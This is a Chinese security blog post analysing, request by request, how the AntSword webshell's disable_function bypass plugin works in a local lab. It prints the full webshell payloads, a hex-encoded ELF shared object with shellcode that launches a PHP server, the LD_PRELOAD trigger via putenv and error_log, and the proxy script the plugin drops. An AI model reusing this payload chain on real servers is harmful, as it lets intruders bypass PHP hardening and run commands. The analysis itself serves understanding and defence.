蚁剑绕过disable_function插件分析
2021-04-13 17:27:30 Author: www.freebuf.com(查看原文) 阅读量:174 收藏

前言:前几天看到了一篇关于绕过disable_function的文章,里面讲到了蚁剑disable_function绕过插件,于是就去尝试了一下,结果发现报错,无法上传代理脚本,特地来分析一下蚁剑这个disable_function绕过这个插件的原理,看看能不能找出原因。

image

为了更好的阅读,所有的请求包都经过了php格式化

第一个请求包:

POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2338
Connection: close

hack=@ini_set("display_errors", "0");//忽略报错信息
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "02374b89";
	echo @asenc($output);
	echo "76463";
}
ob_start();
try {
	$rt = array(
    "os" => php_uname('s'),
    "arch" => (PHP_INT_SIZE==4?32:64), 
    "ver" => substr(PHP_VERSION,0,3),                      	
    "shell_name" => basename($_SERVER['SCRIPT_NAME']),
    "phpself" => realpath("."),
    "temp_dir" => sys_get_temp_dir(),                	
    "open_basedir" => array(),
    "funcs" => array(),
               );
	$opath_str = ini_get('open_basedir');
	if(strlen($opath_str)) {
		$opath = explode(":", $opath_str);
		foreach($opath as $p) {
			$rp = realpath($p);
			$rt["open_basedir"][$rp] = (is_writable($rp)?1:0);//可写路径的$rp值全都设置为1
		}
	}
	$func_arr = array(
        "dl", 
        "putenv", 
        "error_reporting", 
        "error_log", 
        "file_put_contents", 
        "file_get_contents", 
        "fopen", 
        "fclose", 
        "fwrite", 
        "tempnam", 
        "imap_open", 
        "symlink", 
        "curl_init", 
        "fsockopen"
    );
	foreach ($func_arr as $f) {
		$rt["funcs"][$f] = (function_exists($f)?1:0);
	}//在已经定义函数列表查找$func_arr里面的函数,找到返回1,否则返回0
	$rt["funcs"]["dl"] = ((bool)ini_get("enable_dl")?1:0);
	echo json_encode($rt);
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();//输出数据流
die();

请求包的作用:通过一系列的函数获取信息,包括一些版本号,open_basedir是否启用,可用函数等。

返回包:

HTTP/1.1 200 OK
Date: Mon, 12 Apr 2021 02:41:36 GMT
Server: Apache/2.4.46 (Debian)
Vary: Accept-Encoding
Content-Length: 349
Connection: close
Content-Type: text/html; charset=UTF-8

1541b7719ab{"os":"Linux","arch":64,"ver":"7.3","shell_name":"1.php","phpself":"\/var\/www\/html","temp_dir":"\/tmp","open_basedir":[],"funcs":{"dl":0,"putenv":1,"error_reporting":1,"error_log":1,"file_put_contents":1,"file_get_contents":1,"fopen":1,"fclose":1,"fwrite":1,"tempnam":1,"imap_open":0,"symlink":1,"curl_init":0,"fsockopen":1}}99f8fd5bbac

查看蚁剑的界面 刚好是返回包里面的内容,open_basedir 也没有做限制,不能用的函数为 dl,imap_open,curl_init。

image

第二个请求包:定义了俩个post m7e78e9f0389ea,v26e5c1fd3c936用来传值,后面的是用来解密的,我们通过这个函数解密看一下传入的内容到底是什么。

POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2225
Connection: close

hack=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "5b368892e";
	echo @asenc($output);
	echo "6b06d8";
}
ob_start();
try {
	$f=base64_decode(substr($_POST["m7e78e9f0389ea"],2));
	$c=$_POST["v26e5c1fd3c936"];
	$c=str_replace("\r","",$c);
	$c=str_replace("\n","",$c);
	$buf="";
	for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
	echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
&m7e78e9f0389ea=HNL3RtcC8uNTI0NzFhbnRfeDY0LnNv&v26e5c1fd3c936=7F454C~4~602010100000000000000000003003E000100000092010000000000004000000000000000B000000000000000000000004000380002004000020001000100000007000000000000000000000000000000000000000000000000000000A202000000000000B2030000000000000010000000000000020000000700000030010000000000003001000000000000300100000000000060000000000000006000000000000000001000000000000001000000060000000000000000000000300100000000000030010000000000006000000000000000000000000000000008000000000000000700000000000000000000000300000000000000000000009001000000000000900100000000000002000000000000000000000000000000000000000000000000000000000000000C00000000000000920100000000000005000000000000009001000000000000060000000000000090010000000000000A0000000000000000000000000000000B0000000000000000000000000000000000000000000000000000000000000000006A3B589948BB2F62696E2F736800534889E7682D6300004889E652E8E9000000706870202D6E202D53203132372E302E302E313A3631343737202D74202F7661722F7777772F68746D6C202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020000056574889E60F05

通过解密 m7e78e9f0389ea传入的值为/tmp/.52471ant_x64.so,v26e5c1fd3c936传入的值为

ELF>�@�@8@��000``00`����� j;X�H�/bin/shSH��h-cH��R��php -n -S 127.0.0.1:61477 -t /var/www/html VWH��1

echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); //把上面的写入到/tmp/.52471ant_x64.so文件里面

在文件里面也看见了。

image

真实路径为:

image

官方docker复现下的环境路径为:

image

在我删除systemd-private-acdcf2736aa745c68a58e052ad2168fd-apache2.service-nQeZSi文件夹之后就so文件也无法上传了。上传代理脚本出错的原因可能就是因为目录不对,才无法上传过去。

image

用ida分析一下。一个函数都没有,唯一的信息就是一个这个,开始分析下一个数据包。

image

作用就是通过php启动一个web服务。

返回包:

HTTP/1.1 200 OK
Date: Mon, 12 Apr 2021 07:16:53 GMT
Server: Apache/2.4.46 (Debian)
Content-Length: 16
Connection: close
Content-Type: text/html; charset=UTF-8

5b368892e16b06d8

第三个请求包:这个请求包主要是设置环境变量so。

POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 534
Connection: close

hack=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "0f081104a9f";
	echo @asenc($output);
	echo "70d17d6b56f6";
}
ob_start();
try {
	error_reporting(E_ALL);
	putenv("LD_PRELOAD=/tmp/.41830ant_x64.so");
	error_log("a", 1);
	echo(1);
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

返回包:

第四个请求包:这个请求包主要是打开一个网络连接。

POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 828
Connection: close

hack=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "f39e6c0f3";
	echo @asenc($output);
	echo "a5c0d";
}
ob_start();
try {
	sleep(1);
	$fp = @fsockopen("127.0.0.1", 64553, $errno, $errstr, 1);
	if(!$fp) {
		echo(0);
	} else {
		echo(1);
		@fclose($fp);
	}
	;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

返回包:

HTTP/1.1 200 OK
Date: Mon, 12 Apr 2021 07:18:53 GMT
Server: Apache/2.4.46 (Debian)
Content-Length: 16
Connection: close
Content-Type: text/html; charset=UTF-8

5248a63f61d28202

第五个请求包:

POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3009
Connection: close
hack=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "a0ac74b59";
	echo @asenc($output);
	echo "64217cb07512";
}
ob_start();
try {
	echo @fwrite(fopen(base64_decode(substr($_POST["m7e78e9f0389ea"],2)),"w"),base64_decode(substr($_POST["v26e5c1fd3c936"],2)))?"1":"0";
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
&m7e78e9f0389ea=dtL3Zhci93d3cvaHRtbC8uYW50cHJveHkucGhw&v26e5c1fd3c936=S9PD9waHAKZnVuY3Rpb24gZ2V0X2NsaWVudF9oZWFkZXIoKXsKICAgICRoZWFkZXJzPWFycmF5KCk7CiAgICBmb3JlYWNoKCRfU0VSVkVSIGFzICRrPT4kdil7CiAgICAgICAgaWYoc3RycG9zKCRrLCdIVFRQXycpPT09MCl7CiAgICAgICAgICAgICRrPXN0cnRvbG93ZXIocHJlZ19yZXBsYWNlKCcvXkhUVFAvJywgJycsICRrKSk7CiAgICAgICAgICAgICRrPXByZWdfcmVwbGFjZV9jYWxsYmFjaygnL19cdy8nLCdoZWFkZXJfY2FsbGJhY2snLCRrKTsKICAgICAgICAgICAgJGs9cHJlZ19yZXBsYWNlKCcvXl8vJywnJywkayk7CiAgICAgICAgICAgICRrPXN0cl9yZXBsYWNlKCdfJywnLScsJGspOwogICAgICAgICAgICBpZigkaz09J0hvc3QnKSBjb250aW51ZTsKICAgICAgICAgICAgJGhlYWRlcnNbXT0iJGs6JHYiOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkaGVhZGVyczsKfQpmdW5jdGlvbiBoZWFkZXJfY2FsbGJhY2soJHN0cil7CiAgICByZXR1cm4gc3RydG91cHBlcigkc3RyWzBdKTsKfQpmdW5jdGlvbiBwYXJzZUhlYWRlcigkc1Jlc3BvbnNlKXsKICAgIGxpc3QoJGhlYWRlcnN0ciwkc1Jlc3BvbnNlKT1leHBsb2RlKCINCg0KIiwkc1Jlc3BvbnNlLCAyKTsKICAgICRyZXQ9YXJyYXkoJGhlYWRlcnN0ciwkc1Jlc3BvbnNlKTsKICAgIGlmKHByZWdfbWF0Y2goJy9eSFRUUC8xLjEgZHszfS8nLCAkc1Jlc3BvbnNlKSl7CiAgICAgICAgJHJldD1wYXJzZUhlYWRlcigkc1Jlc3BvbnNlKTsKICAgIH0KICAgIHJldHVybiAkcmV0Owp9CgpzZXRfdGltZV9saW1pdCgxMjApOwokaGVhZGVycz1nZXRfY2xpZW50X2hlYWRlcigpOwokaG9zdCA9ICIxMjcuMC~4~wLjEiOwokcG9ydCA9IDY0MzE1OwokZXJybm8gPSAnJzsKJGVycnN0ciA9ICcnOwokdGltZW91dCA9IDMwOwokdXJsID0gIi8xLnBocCI7CgppZiAoIWVtcHR5KCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSkpewogICAgJHVybCAuPSAiPyIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOwp9OwoKJGZwID0gZnNvY2tvcGVuKCRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAkdGltZW91dCk7CmlmKCEkZnApewogICAgcmV0dXJuIGZhbHNlOwp9CgokbWV0aG9kID0gIkdFVCI7CiRwb3N0X2RhdGEgPSAiIjsKaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgewogICAgJG1ldGhvZCA9ICJQT1NUIjsKICAgICRwb3N0X2RhdGEgPSBmaWxlX2dldF9jb250ZW50cygncGhwOi8vaW5wdXQnKTsKfQoKJG91dCA9ICRtZXRob2QuIiAiLiR1cmwuIiBIVFRQLzEuMVxyXG4iOwokb3V0IC~4~9ICJIb3N0OiAiLiRob3N0LiI6Ii4kcG9ydC~4~iXHJcbiI7CmlmICghZW1wdHkoJF9TRVJWRVJbJ0NPTlRFTlRfVFlQRSddKSkgewogICAgJG91dCAuPSAiQ29udGVudC1UeXBlOiAiLiRfU0VSVkVSWydDT05URU5UX1RZUEUnXS4iXHJcbiI7Cn0KJG91dCAuPSAiQ29udGVudC1sZW5ndGg6Ii5zdHJsZW4oJHBvc3RfZGF0YSkuIlxyXG4iOwoKJG91dCAuPSBpbXBsb2RlKCJcclxuIiwkaGVhZGVycyk7CiRvdXQgLj0gIlxyXG5cclxuIjsKJG91dCAuPSAiIi4kcG9zdF9kYXRhOwoKZnB1dHMoJGZwLCAkb3V0KTsKCiRyZXNwb25zZSA9ICcnOwp3aGlsZSgkcm~9~3PWZyZWFkKCRmcCwgNDA5NikpewogICAgJHJlc3BvbnNlIC~4~9ICRyb3c7Cn0KZmNsb3NlKCRmcCk7CiRwb3MgPSBzdHJwb3MoJHJlc3BvbnNlLCAiXHJcblxyXG4iKTsKJHJlc3BvbnNlID0gc3Vic3RyKCRyZXNwb25zZSwgJHBvcys0KTsKZWNobyAkcmVzcG9uc2U7Cg==

m7e78e9f0389ea传入的值为/var/www/html/.antproxy.php

v26e5c1fd3c936传入的是php的代理脚本,内容如下。

<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str[0]);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 64315;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/1.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

在上传代理脚本的时候,蚁剑报错,上传代理脚本失败。

image

返回包:

HTTP/1.1 200 OK
Date: Mon, 12 Apr 2021 07:18:54 GMT
Server: Apache/2.4.46 (Debian)
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

a0ac74b59064217cb07512

总结:分析下来走到最后一步报错的这个地方,上传代理脚本失败。有俩个点,一个是.so文件在ida反编译后,不存在其他的函数,只有一个 php -n -S 127.0.0.1:61477 -t /var/www/html 也就执行了一个启动web服务的操作,利用-n不使用php.ini 从而bypass diable_function。在第三个数据包中存在 putenv("LD_PRELOAD=/tmp/.41830ant_x64.so")执行数据包2中的操作。


文章来源: https://www.freebuf.com/articles/web/269471.html
如有侵权请联系:admin#unsafe.sh